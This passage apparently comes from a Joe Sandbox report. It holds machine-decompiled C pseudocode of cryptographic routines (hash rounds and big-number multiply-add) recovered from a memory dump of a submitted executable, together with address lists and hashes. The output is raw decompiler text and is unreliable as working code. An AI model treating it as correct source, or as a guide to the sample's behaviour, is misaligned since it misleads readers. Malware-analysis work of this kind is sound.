				r8d = r8d ^ _t659 >> 0x00000003;
				asm("rol eax, 0xd");
				asm("rol edx, 0xf");
				r11d = r11d >> 0xa;
				r11d = _t727[2];
				_t665 = (r11d ^ r11d ^ r11d) + 0xe3757f90 + __r8 + r9d;
				r14d =  *(_t724 + 0x78);
				r8d = _t697;
				r9d =  *(_t724 + 0x70);
				_t727[0x7ff7e3757f98] = _t665;
				asm("rol eax, 0x7");
				asm("inc ecx");
				r8d = r8d ^ _t697;
				asm("ror eax, 0x6");
				r8d = r8d ^ _t697;
				r8d = r8d + ((r14d ^ r9d) & _t697 ^ r14d);
				r8d = r8d +  *((intOrPtr*)(0xe3757f90 + _t714 * 4));
				r8d = r8d + _t665;
				asm("ror ecx, 0xd");
				r8d = r8d + r12d;
				r11d = r11d + r8d;
				asm("rol eax, 0xa");
				_t727[2] = r11d;
				r12d = _t687;
				asm("ror eax, 0x2");
				r12d = r12d | r13d;
				r12d = r12d & _t435;
				 *_t727 = r10d;
				r12d = r12d | _t687 & r13d;
				r12d = r12d + __r8 + _t714;
				if (__r10 + 2 - 0x40 < 0) goto 0xe37317b0;
				_t715 =  *((intOrPtr*)(_t724 + 0x60));
				 *((intOrPtr*)(_t715 + 8)) = _t727[5] + r12d;
				 *((intOrPtr*)(_t715 + 0x14)) =  *((intOrPtr*)(_t715 + 0x14)) + _t435;
				 *((intOrPtr*)(_t715 + 0xc)) =  *((intOrPtr*)(_t715 + 0xc)) + r13d;
				 *((intOrPtr*)(_t715 + 0x10)) =  *((intOrPtr*)(_t715 + 0x10)) + _t687;
				 *((intOrPtr*)(_t715 + 0x18)) =  *((intOrPtr*)(_t715 + 0x18)) + r11d;
				 *((intOrPtr*)(_t715 + 0x1c)) =  *((intOrPtr*)(_t715 + 0x1c)) + _t697;
				 *((intOrPtr*)(_t715 + 0x20)) =  *((intOrPtr*)(_t715 + 0x20)) + r9d;
				 *((intOrPtr*)(_t715 + 0x24)) =  *((intOrPtr*)(_t715 + 0x24)) + r14d;
				return 0;
			}

0x7ff7e37313b0
0x7ff7e37313b5
0x7ff7e37313c3
0x7ff7e37313c5
0x7ff7e37313ca
0x7ff7e37313d1
0x7ff7e37313d4
0x7ff7e37313da
0x7ff7e37313de
0x7ff7e37313e2
0x7ff7e37313e6
0x7ff7e37313ec
0x7ff7e37313f3
0x7ff7e37313f8
0x7ff7e37313fc
0x7ff7e3731410
0x7ff7e3731418
0x7ff7e373141b
0x7ff7e373142c
0x7ff7e3731430
0x7ff7e3731437
0x7ff7e373143f
0x7ff7e3731446
0x7ff7e373144e
0x7ff7e3731451
0x7ff7e3731455
0x7ff7e3731459
0x7ff7e373145b
0x7ff7e3731466
0x7ff7e373146a
0x7ff7e3731470
0x7ff7e3731476
0x7ff7e373147c
0x7ff7e3731480
0x7ff7e3731483
0x7ff7e3731489
0x7ff7e373148c
0x7ff7e373149a
0x7ff7e37314a0
0x7ff7e37314a4
0x7ff7e37314a9
0x7ff7e37314ac
0x7ff7e37314b1
0x7ff7e37314ba
0x7ff7e37314d0
0x7ff7e37314d3
0x7ff7e37314d5
0x7ff7e37314de
0x7ff7e37314e1
0x7ff7e37314e4
0x7ff7e37314ea
0x7ff7e37314ed
0x7ff7e37314fa
0x7ff7e37314ff
0x7ff7e3731504
0x7ff7e3731509
0x7ff7e373150c
0x7ff7e3731511
0x7ff7e3731516
0x7ff7e3731519
0x7ff7e373151c
0x7ff7e3731521
0x7ff7e3731529
0x7ff7e3731530
0x7ff7e3731533
0x7ff7e3731536
0x7ff7e373153c
0x7ff7e373153f
0x7ff7e3731544
0x7ff7e3731547
0x7ff7e3731555
0x7ff7e3731558
0x7ff7e373155d
0x7ff7e3731562
0x7ff7e3731568
0x7ff7e373156b
0x7ff7e3731573
0x7ff7e3731581
0x7ff7e3731591
0x7ff7e3731594
0x7ff7e3731596
0x7ff7e373159f
0x7ff7e37315a2
0x7ff7e37315a5
0x7ff7e37315ab
0x7ff7e37315ae
0x7ff7e37315bc
0x7ff7e37315c1
0x7ff7e37315c6
0x7ff7e37315cb
0x7ff7e37315ce
0x7ff7e37315d3
0x7ff7e37315d8
0x7ff7e37315db
0x7ff7e37315de
0x7ff7e37315e3
0x7ff7e37315eb
0x7ff7e37315f2
0x7ff7e37315f5
0x7ff7e37315f8
0x7ff7e3731602
0x7ff7e3731605
0x7ff7e3731608
0x7ff7e373160e
0x7ff7e3731611
0x7ff7e373161e
0x7ff7e3731624
0x7ff7e3731629
0x7ff7e373162e
0x7ff7e3731631
0x7ff7e3731636
0x7ff7e3731639
0x7ff7e373163f
0x7ff7e3731642
0x7ff7e3731647
0x7ff7e373164f
0x7ff7e3731656
0x7ff7e3731659
0x7ff7e373165c
0x7ff7e3731662
0x7ff7e3731668
0x7ff7e373166b
0x7ff7e3731670
0x7ff7e3731673
0x7ff7e3731681
0x7ff7e3731687
0x7ff7e373168c
0x7ff7e3731691
0x7ff7e3731694
0x7ff7e3731699
0x7ff7e37316a2
0x7ff7e37316b8
0x7ff7e37316bb
0x7ff7e37316bd
0x7ff7e37316c6
0x7ff7e37316c9
0x7ff7e37316cc
0x7ff7e37316d2
0x7ff7e37316d5
0x7ff7e37316e3
0x7ff7e37316e8
0x7ff7e37316ed
0x7ff7e37316f2
0x7ff7e37316f5
0x7ff7e37316fa
0x7ff7e37316ff
0x7ff7e3731702
0x7ff7e3731705
0x7ff7e373170a
0x7ff7e3731712
0x7ff7e3731719
0x7ff7e373171c
0x7ff7e373171f
0x7ff7e3731725
0x7ff7e3731728
0x7ff7e373172d
0x7ff7e3731730
0x7ff7e373173c
0x7ff7e3731742
0x7ff7e373174a
0x7ff7e373174f
0x7ff7e3731753
0x7ff7e3731756
0x7ff7e3731759
0x7ff7e373175c
0x7ff7e3731761
0x7ff7e3731764
0x7ff7e373176a
0x7ff7e373176d
0x7ff7e3731777
0x7ff7e373177e
0x7ff7e3731785
0x7ff7e3731790
0x7ff7e3731794
0x7ff7e3731797
0x7ff7e373179b
0x7ff7e37317a0
0x7ff7e37317a6
0x7ff7e37317b0
0x7ff7e37317bb
0x7ff7e37317c0
0x7ff7e37317c5
0x7ff7e37317c9
0x7ff7e37317d1
0x7ff7e37317d7
0x7ff7e37317da
0x7ff7e37317e3
0x7ff7e37317e9
0x7ff7e37317f9
0x7ff7e37317fc
0x7ff7e3731804
0x7ff7e3731811
0x7ff7e3731819
0x7ff7e373181c
0x7ff7e3731824
0x7ff7e3731834
0x7ff7e3731839
0x7ff7e3731843
0x7ff7e373184c
0x7ff7e3731857
0x7ff7e373185a
0x7ff7e373185f
0x7ff7e3731867
0x7ff7e3731872
0x7ff7e373187b
0x7ff7e373187e
0x7ff7e3731885
0x7ff7e373188d
0x7ff7e3731896
0x7ff7e3731899
0x7ff7e373189e
0x7ff7e37318ad
0x7ff7e37318c8
0x7ff7e37318cb
0x7ff7e37318d2
0x7ff7e37318d8
0x7ff7e37318db
0x7ff7e37318e3
0x7ff7e37318ef
0x7ff7e37318f6
0x7ff7e37318fd
0x7ff7e373190f
0x7ff7e3731915
0x7ff7e3731922
0x7ff7e3731924
0x7ff7e3731929
0x7ff7e3731933
0x7ff7e373193c
0x7ff7e3731942
0x7ff7e3731945
0x7ff7e373194c
0x7ff7e3731954
0x7ff7e3731957
0x7ff7e373195a
0x7ff7e373195e
0x7ff7e3731967
0x7ff7e373196d
0x7ff7e373197d
0x7ff7e3731980
0x7ff7e373198a
0x7ff7e373198d
0x7ff7e3731994
0x7ff7e3731999
0x7ff7e37319a0
0x7ff7e37319ae
0x7ff7e37319c5
0x7ff7e37319d2
0x7ff7e37319d5
0x7ff7e37319dd
0x7ff7e37319e2
0x7ff7e37319e5
0x7ff7e37319eb
0x7ff7e37319ee
0x7ff7e37319f1
0x7ff7e37319fa
0x7ff7e37319ff
0x7ff7e3731a04
0x7ff7e3731a0a
0x7ff7e3731a12
0x7ff7e3731a18
0x7ff7e3731a27
0x7ff7e3731a42
0x7ff7e3731a45
0x7ff7e3731a4d
0x7ff7e3731a54
0x7ff7e3731a57
0x7ff7e3731a5f
0x7ff7e3731a82
0x7ff7e3731a8b
0x7ff7e3731a8e
0x7ff7e3731a95
0x7ff7e3731a9a
0x7ff7e3731a9e
0x7ff7e3731aaa
0x7ff7e3731aad
0x7ff7e3731ab6
0x7ff7e3731ab9
0x7ff7e3731ac1
0x7ff7e3731ac9
0x7ff7e3731ad1
0x7ff7e3731ad7
0x7ff7e3731adb
0x7ff7e3731af9
0x7ff7e3731afc
0x7ff7e3731b03
0x7ff7e3731b09
0x7ff7e3731b11
0x7ff7e3731b22
0x7ff7e3731b38
0x7ff7e3731b42
0x7ff7e3731b45
0x7ff7e3731b4d
0x7ff7e3731b52
0x7ff7e3731b56
0x7ff7e3731b5c
0x7ff7e3731b5f
0x7ff7e3731b63
0x7ff7e3731b69
0x7ff7e3731b72
0x7ff7e3731b77
0x7ff7e3731b7f
0x7ff7e3731b85
0x7ff7e3731b94
0x7ff7e3731b97
0x7ff7e3731b9d
0x7ff7e3731ba1
0x7ff7e3731ba8
0x7ff7e3731bac
0x7ff7e3731baf
0x7ff7e3731bb8
0x7ff7e3731bbb
0x7ff7e3731bcf
0x7ff7e3731bd2
0x7ff7e3731bda
0x7ff7e3731be2
0x7ff7e3731c05
0x7ff7e3731c0f
0x7ff7e3731c12
0x7ff7e3731c1a
0x7ff7e3731c22
0x7ff7e3731c30
0x7ff7e3731c32
0x7ff7e3731c39
0x7ff7e3731c3d
0x7ff7e3731c44
0x7ff7e3731c4c
0x7ff7e3731c55
0x7ff7e3731c5a
0x7ff7e3731c6d
0x7ff7e3731c70
0x7ff7e3731c73
0x7ff7e3731c7b
0x7ff7e3731c7e
0x7ff7e3731c82
0x7ff7e3731c86
0x7ff7e3731c8f
0x7ff7e3731c92
0x7ff7e3731c9d
0x7ff7e3731ca4
0x7ff7e3731cae
0x7ff7e3731cb4
0x7ff7e3731cb7
0x7ff7e3731cba
0x7ff7e3731cbf
0x7ff7e3731cc2
0x7ff7e3731cc7
0x7ff7e3731ccd
0x7ff7e3731cd0
0x7ff7e3731cd3
0x7ff7e3731cd8
0x7ff7e3731cdb
0x7ff7e3731ce3
0x7ff7e3731cea
0x7ff7e3731cf1
0x7ff7e3731cf7
0x7ff7e3731cfa
0x7ff7e3731cfd
0x7ff7e3731d01
0x7ff7e3731d07
0x7ff7e3731d0d
0x7ff7e3731d13
0x7ff7e3731d18
0x7ff7e3731d23
0x7ff7e3731d2e
0x7ff7e3731d31
0x7ff7e3731d35
0x7ff7e3731d38
0x7ff7e3731d3e
0x7ff7e3731d44
0x7ff7e3731d47
0x7ff7e3731d4b
0x7ff7e3731d50
0x7ff7e3731d53
0x7ff7e3731d61
0x7ff7e3731d6b
0x7ff7e3731d72
0x7ff7e3731d75
0x7ff7e3731d78
0x7ff7e3731d7e
0x7ff7e3731d81
0x7ff7e3731d84
0x7ff7e3731d8e
0x7ff7e3731d91
0x7ff7e3731d94
0x7ff7e3731d99
0x7ff7e3731da4
0x7ff7e3731da7
0x7ff7e3731dae
0x7ff7e3731db8
0x7ff7e3731dbe
0x7ff7e3731dc9
0x7ff7e3731dcc
0x7ff7e3731dcf
0x7ff7e3731dd3
0x7ff7e3731dd6
0x7ff7e3731dda
0x7ff7e3731ddd
0x7ff7e3731de1
0x7ff7e3731e01

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93d50d5bee3f0854ae8ebc02cbfe389240ca477ecf9570170da30110c116ca67
Instruction ID: 44d5f0819b5996cccb6cffc347d52d197eba631aa0503f394c63edd972b8b14d
Opcode Fuzzy Hash: 93d50d5bee3f0854ae8ebc02cbfe389240ca477ecf9570170da30110c116ca67
Instruction Fuzzy Hash: 3852D0B7B242504BC35CCF29E855AAAB6D2F3C8748B14912DEA47D3B44DA3DE9168F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3720AB0 Relevance: .8, Instructions: 816
COMMONCrypto

Download Yara Rule

C-Code - Quality: 58%

			E00007FF77FF7E3720AB0(signed int __eax, long long __rbx, signed int __rcx, unsigned int* __rdx, long long __rdi, long long __rsi, signed long long* __r8, unsigned int __r9, void* __r11, long long __r14, signed int __r15) {
				unsigned int* _t342;
				unsigned long long _t347;
				signed long long _t348;
				unsigned long long _t349;
				signed long long _t350;
				unsigned long long _t351;
				signed long long _t352;
				unsigned long long _t353;
				signed long long _t354;
				unsigned long long _t355;
				signed long long _t356;
				unsigned long long _t357;
				signed long long _t358;
				unsigned long long _t359;
				signed long long _t360;
				unsigned long long _t361;
				signed long long _t362;
				unsigned long long _t363;
				signed long long _t364;
				unsigned long long _t365;
				signed long long _t366;
				unsigned long long _t367;
				signed long long _t368;
				unsigned long long _t369;
				signed long long _t370;
				unsigned long long _t371;
				signed long long _t372;
				unsigned long long _t373;
				signed long long _t374;
				unsigned long long _t375;
				signed long long _t376;
				unsigned long long _t377;
				signed long long _t378;
				unsigned long long _t379;
				signed long long _t380;
				unsigned long long _t381;
				signed long long _t382;
				unsigned long long _t383;
				signed long long _t384;
				unsigned long long _t385;
				signed long long _t386;
				unsigned long long _t387;
				signed long long _t388;
				unsigned long long _t389;
				signed long long _t390;
				signed long long _t391;
				signed long long _t392;
				unsigned long long _t393;
				signed long long _t394;
				unsigned long long _t395;
				signed long long _t397;
				unsigned long long _t400;
				unsigned long long _t403;
				unsigned long long _t406;
				unsigned long long _t409;
				unsigned long long _t412;
				unsigned long long _t415;
				unsigned long long _t418;
				unsigned long long _t421;
				unsigned long long _t424;
				unsigned long long _t427;
				unsigned long long _t430;
				unsigned long long _t433;
				unsigned long long _t436;
				unsigned long long _t439;
				unsigned long long _t442;
				unsigned long long _t445;
				unsigned long long _t448;
				unsigned long long _t451;
				unsigned long long _t454;
				unsigned long long _t457;
				unsigned long long _t460;
				unsigned long long _t463;
				signed long long _t466;
				unsigned long long _t469;
				unsigned long long _t472;
				signed long long _t477;
				signed long long _t479;
				signed long long _t483;
				signed long long _t484;
				long long _t486;
				unsigned long long _t488;
				long long* _t492;
				signed long long* _t494;
				signed long long* _t495;
				signed long long* _t496;
				signed long long _t503;
				signed long long _t508;
				signed long long _t513;
				signed long long _t518;
				signed long long _t523;
				signed long long _t528;
				signed long long _t533;
				signed long long _t538;
				signed long long _t543;
				signed long long _t548;
				signed long long _t553;
				signed long long _t558;
				signed long long _t563;
				signed long long _t568;
				signed long long _t573;
				signed long long _t578;
				signed long long _t583;
				signed long long _t588;
				signed long long _t593;
				signed long long _t598;
				signed long long _t603;
				signed long long _t608;
				signed long long _t613;
				signed long long _t618;
				signed long long _t620;
				signed long long _t625;
				signed long long _t630;
				signed long long _t635;
				signed long long _t640;
				signed long long _t645;
				signed long long _t650;
				signed long long _t655;
				signed long long _t660;
				signed long long _t665;
				signed long long _t670;
				signed long long _t675;
				signed long long _t680;
				signed long long _t683;
				signed long long _t688;
				signed long long _t691;
				signed long long _t696;
				signed long long _t701;
				signed long long _t706;
				signed long long _t711;
				signed long long _t716;
				signed long long _t721;
				signed long long _t726;
				signed long long _t731;
				signed long long _t736;
				signed long long _t741;
				signed long long _t746;
				void* _t750;
				signed long long _t754;

				 *((long long*)(_t492 + 0x20)) = __rbx;
				r11d = 0;
				 *((long long*)(_t492 + 0x28)) = _t486;
				 *((long long*)(_t492 + 0x30)) = __rsi;
				 *((long long*)(_t492 + 0x10)) = __rdi;
				 *((long long*)(_t492 + 8)) = __r14;
				 *_t492 = __r15;
				if (__rcx - 0x10 < 0) goto 0xe37211be;
				r15d = r14d;
				_t483 = __rcx >> 4;
				_t477 = __r9 >> 0x20;
				_t488 = __rcx + _t483 * 0xfffffff0;
				r9d = r10d;
				_t625 =  *__rdx >> 0x20;
				_t347 = __rcx * _t477;
				_t400 = _t625 * __r15;
				_t348 = _t347 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t503 = __r9 * __r15 + _t348 + (_t400 << 0x20) + __r11 +  *__r8;
				 *__r8 = _t503;
				asm("dec ecx");
				r9d = r11d;
				_t691 = __rdx[2] >> 0x20;
				_t349 = _t348 * _t477;
				_t403 = _t691 * __r15;
				_t350 = _t349 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t508 = _t503 * __r15 + _t350 + (_t403 << 0x20) + _t625 * _t477 + (_t400 >> 0x20) + (_t347 >> 0x20) + __r8[1];
				__r8[1] = _t508;
				asm("dec ecx");
				r9d = r10d;
				_t630 = __rdx[4] >> 0x20;
				_t406 = _t630 * __r15;
				_t351 = _t350 * _t477;
				_t352 = _t351 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t513 = _t508 * __r15 + _t352 + (_t406 << 0x20) + _t691 * _t477 + (_t403 >> 0x20) + (_t349 >> 0x20) + __r8[2];
				__r8[2] = _t513;
				asm("dec ecx");
				r9d = r11d;
				_t696 = __rdx[6] >> 0x20;
				_t353 = _t352 * _t477;
				_t409 = _t696 * __r15;
				_t354 = _t353 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t518 = _t513 * __r15 + _t354 + (_t409 << 0x20) + _t630 * _t477 + (_t406 >> 0x20) + (_t351 >> 0x20) + __r8[3];
				__r8[3] = _t518;
				asm("dec ecx");
				r9d = r10d;
				_t635 = __rdx[8] >> 0x20;
				_t355 = _t354 * _t477;
				_t412 = _t635 * __r15;
				_t356 = _t355 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t523 = _t518 * __r15 + _t356 + (_t412 << 0x20) + _t696 * _t477 + (_t409 >> 0x20) + (_t353 >> 0x20) + __r8[4];
				__r8[4] = _t523;
				asm("dec ecx");
				r9d = r11d;
				_t701 = __rdx[0xa] >> 0x20;
				_t415 = _t701 * __r15;
				_t357 = _t356 * _t477;
				_t358 = _t357 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t528 = _t523 * __r15 + _t358 + (_t415 << 0x20) + _t635 * _t477 + (_t412 >> 0x20) + (_t355 >> 0x20) + __r8[5];
				__r8[5] = _t528;
				asm("dec ecx");
				r9d = r10d;
				_t640 = __rdx[0xc] >> 0x20;
				_t359 = _t358 * _t477;
				_t418 = _t640 * __r15;
				_t360 = _t359 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t533 = _t528 * __r15 + _t360 + (_t418 << 0x20) + _t701 * _t477 + (_t415 >> 0x20) + (_t357 >> 0x20) + __r8[6];
				__r8[6] = _t533;
				asm("dec ecx");
				r9d = r11d;
				_t706 = __rdx[0xe] >> 0x20;
				_t361 = _t360 * _t477;
				_t421 = _t706 * __r15;
				_t362 = _t361 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t538 = _t533 * __r15 + _t362 + (_t421 << 0x20) + _t640 * _t477 + (_t418 >> 0x20) + (_t359 >> 0x20) + __r8[7];
				__r8[7] = _t538;
				asm("dec ecx");
				r9d = r10d;
				_t645 = __rdx[0x10] >> 0x20;
				_t424 = _t645 * __r15;
				_t363 = _t362 * _t477;
				_t364 = _t363 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t543 = _t538 * __r15 + _t364 + (_t424 << 0x20) + _t706 * _t477 + (_t421 >> 0x20) + (_t361 >> 0x20) + __r8[8];
				__r8[8] = _t543;
				asm("dec ecx");
				r9d = r11d;
				_t711 = __rdx[0x12] >> 0x20;
				_t365 = _t364 * _t477;
				_t427 = _t711 * __r15;
				_t366 = _t365 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t548 = _t543 * __r15 + _t366 + (_t427 << 0x20) + _t645 * _t477 + (_t424 >> 0x20) + (_t363 >> 0x20) + __r8[9];
				__r8[9] = _t548;
				asm("dec ecx");
				r9d = r10d;
				_t650 = __rdx[0x14] >> 0x20;
				_t430 = _t650 * __r15;
				_t367 = _t366 * _t477;
				_t368 = _t367 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t553 = _t548 * __r15 + _t368 + (_t430 << 0x20) + _t711 * _t477 + (_t427 >> 0x20) + (_t365 >> 0x20) + __r8[0xa];
				__r8[0xa] = _t553;
				asm("dec ecx");
				r9d = r11d;
				_t716 = __rdx[0x16] >> 0x20;
				_t369 = _t368 * _t477;
				_t433 = _t716 * __r15;
				_t370 = _t369 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t558 = _t553 * __r15 + _t370 + (_t433 << 0x20) + _t650 * _t477 + (_t430 >> 0x20) + (_t367 >> 0x20) + __r8[0xb];
				__r8[0xb] = _t558;
				asm("dec ecx");
				r9d = r10d;
				_t655 = __rdx[0x18] >> 0x20;
				_t371 = _t370 * _t477;
				_t436 = _t655 * __r15;
				_t372 = _t371 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t563 = _t558 * __r15 + _t372 + (_t436 << 0x20) + _t716 * _t477 + (_t433 >> 0x20) + (_t369 >> 0x20) + __r8[0xc];
				__r8[0xc] = _t563;
				asm("dec ecx");
				r9d = r11d;
				_t721 = __rdx[0x1a] >> 0x20;
				_t439 = _t721 * __r15;
				_t373 = _t372 * _t477;
				_t374 = _t373 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t568 = _t563 * __r15 + _t374 + (_t439 << 0x20) + _t655 * _t477 + (_t436 >> 0x20) + (_t371 >> 0x20) + __r8[0xd];
				__r8[0xd] = _t568;
				asm("dec ecx");
				r9d = r10d;
				_t660 = __rdx[0x1c] >> 0x20;
				_t375 = _t374 * _t477;
				_t442 = _t660 * __r15;
				_t376 = _t375 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t573 = _t568 * __r15 + _t376 + (_t442 << 0x20) + _t721 * _t477 + (_t439 >> 0x20) + (_t373 >> 0x20) + __r8[0xe];
				__r8[0xe] = _t573;
				asm("dec ecx");
				r9d = r11d;
				_t342 = __rdx - 0xffffff80;
				_t726 = __rdx[0x1e] >> 0x20;
				_t377 = _t376 * _t477;
				_t445 = _t726 * __r15;
				_t378 = _t377 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t578 = _t573 * __r15 + _t378 + (_t445 << 0x20) + _t660 * _t477 + (_t442 >> 0x20) + (_t375 >> 0x20) + __r8[0xf];
				__r8[0xf] = _t578;
				asm("dec ecx");
				_t494 = __r8 - 0xffffff80;
				_t484 = _t483 - 1;
				if (_t578 != __r8[0xf]) goto 0xe3720b00;
				if (_t488 - 8 < 0) goto 0xe3721546;
				_t479 = __r9 >> 0x20;
				r9d = r10d;
				_t665 =  *_t342 >> 0x20;
				_t379 = _t378 * _t479;
				_t448 = _t665 * _t484;
				_t380 = _t379 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t583 = _t578 * _t484 + _t380 + (_t448 << 0x20) + _t726 * _t477 + (_t445 >> 0x20) + (_t377 >> 0x20) +  *_t494;
				 *_t494 = _t583;
				asm("dec ecx");
				r9d = r11d;
				_t731 = _t342[2] >> 0x20;
				_t381 = _t380 * _t479;
				_t451 = _t731 * _t484;
				_t382 = _t381 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t588 = _t583 * _t484 + _t382 + (_t451 << 0x20) + _t665 * _t479 + (_t448 >> 0x20) + (_t379 >> 0x20) + _t494[1];
				_t494[1] = _t588;
				asm("dec ecx");
				r9d = r10d;
				_t670 = _t342[4] >> 0x20;
				_t454 = _t670 * _t484;
				_t383 = _t382 * _t479;
				_t384 = _t383 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t593 = _t588 * _t484 + _t384 + (_t454 << 0x20) + _t731 * _t479 + (_t451 >> 0x20) + (_t381 >> 0x20) + _t494[2];
				_t494[2] = _t593;
				asm("dec ecx");
				r9d = r11d;
				_t736 = _t342[6] >> 0x20;
				_t385 = _t384 * _t479;
				_t457 = _t736 * _t484;
				_t386 = _t385 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t598 = _t593 * _t484 + _t386 + (_t457 << 0x20) + _t670 * _t479 + (_t454 >> 0x20) + (_t383 >> 0x20) + _t494[3];
				_t494[3] = _t598;
				asm("dec ecx");
				r9d = r10d;
				_t675 = _t342[8] >> 0x20;
				_t387 = _t386 * _t479;
				_t460 = _t675 * _t484;
				_t388 = _t387 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t603 = _t598 * _t484 + _t388 + (_t460 << 0x20) + _t736 * _t479 + (_t457 >> 0x20) + (_t385 >> 0x20) + _t494[4];
				_t494[4] = _t603;
				asm("dec ecx");
				r9d = r11d;
				_t741 = _t342[0xa] >> 0x20;
				_t463 = _t741 * _t484;
				_t389 = _t388 * _t479;
				_t390 = _t389 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t608 = _t603 * _t484 + _t390 + (_t463 << 0x20) + _t675 * _t479 + (_t460 >> 0x20) + (_t387 >> 0x20) + _t494[5];
				_t494[5] = _t608;
				asm("dec ecx");
				r9d = r10d;
				_t680 = _t342[0xc] >> 0x20;
				_t391 = _t390 * _t479;
				_t466 = _t680 * _t484;
				_t683 = _t680 * _t479 + (_t466 >> 0x20) + (_t391 >> 0x20);
				_t392 = _t391 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t613 = _t608 * _t484 + _t392 + (_t466 << 0x20) + _t741 * _t479 + (_t463 >> 0x20) + (_t389 >> 0x20) + _t494[6];
				_t494[6] = _t613;
				asm("dec ecx");
				r9d = r11d;
				_t746 = _t342[0xe] >> 0x20;
				_t393 = _t392 * _t479;
				_t469 = _t746 * _t484;
				_t394 = _t393 << 0x20;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t618 = _t613 * _t484 + _t394 + (_t469 << 0x20) + _t683 + _t494[7];
				_t494[7] = _t618;
				asm("dec ecx");
				_t495 =  &(_t494[8]);
				if (_t618 != _t494[7]) goto 0xe37211e0;
				if (_t488 + (_t488 >> 3) * 0xfffffff8 == 0) goto 0xe37215d7;
				_t754 = __r9 >> 0x20;
				r10d = r9d;
				_t620 =  *( &(_t342[0x10]) - _t495 + _t495) >> 0x20;
				_t395 = _t394 * _t754;
				_t472 = _t620 * _t479;
				asm("dec ecx");
				asm("dec ecx");
				asm("dec ecx");
				_t688 = _t683 * _t479 + (_t395 << 0x20) + (_t472 << 0x20) + _t746 * _t479 + (_t469 >> 0x20) + (_t393 >> 0x20) +  *_t495;
				_t750 = _t620 * _t754 + (_t472 >> 0x20) + (_t395 >> 0x20);
				 *_t495 = _t688;
				asm("dec ecx");
				_t496 =  &(_t495[1]);
				if (_t688 !=  *_t495) goto 0xe3721562;
				 *_t496 =  *_t496 + _t750;
				_t397 =  *_t496;
				if (_t397 - _t750 < 0) goto 0xe37215f0;
				return (__eax ^ __eax) & 0xffffff00 | _t397 - _t750 > 0x00000000;
			}

0x7ff7e3720ab4
0x7ff7e3720ab9
0x7ff7e3720abc
0x7ff7e3720ac4
0x7ff7e3720acc
0x7ff7e3720ad1
0x7ff7e3720ad9
0x7ff7e3720ae1
0x7ff7e3720aea
0x7ff7e3720aed
0x7ff7e3720af8
0x7ff7e3720afc
0x7ff7e3720b03
0x7ff7e3720b06
0x7ff7e3720b11
0x7ff7e3720b1c
0x7ff7e3720b38
0x7ff7e3720b42
0x7ff7e3720b4c
0x7ff7e3720b56
0x7ff7e3720b5a
0x7ff7e3720b60
0x7ff7e3720b63
0x7ff7e3720b6b
0x7ff7e3720b6e
0x7ff7e3720b79
0x7ff7e3720b84
0x7ff7e3720ba0
0x7ff7e3720baa
0x7ff7e3720bb4
0x7ff7e3720bbe
0x7ff7e3720bc2
0x7ff7e3720bca
0x7ff7e3720bd2
0x7ff7e3720bd6
0x7ff7e3720bd9
0x7ff7e3720be7
0x7ff7e3720beb
0x7ff7e3720c08
0x7ff7e3720c15
0x7ff7e3720c1f
0x7ff7e3720c29
0x7ff7e3720c2d
0x7ff7e3720c35
0x7ff7e3720c39
0x7ff7e3720c41
0x7ff7e3720c44
0x7ff7e3720c4f
0x7ff7e3720c5a
0x7ff7e3720c76
0x7ff7e3720c80
0x7ff7e3720c8a
0x7ff7e3720c94
0x7ff7e3720c98
0x7ff7e3720ca0
0x7ff7e3720ca8
0x7ff7e3720cac
0x7ff7e3720caf
0x7ff7e3720cba
0x7ff7e3720cc5
0x7ff7e3720ce1
0x7ff7e3720ceb
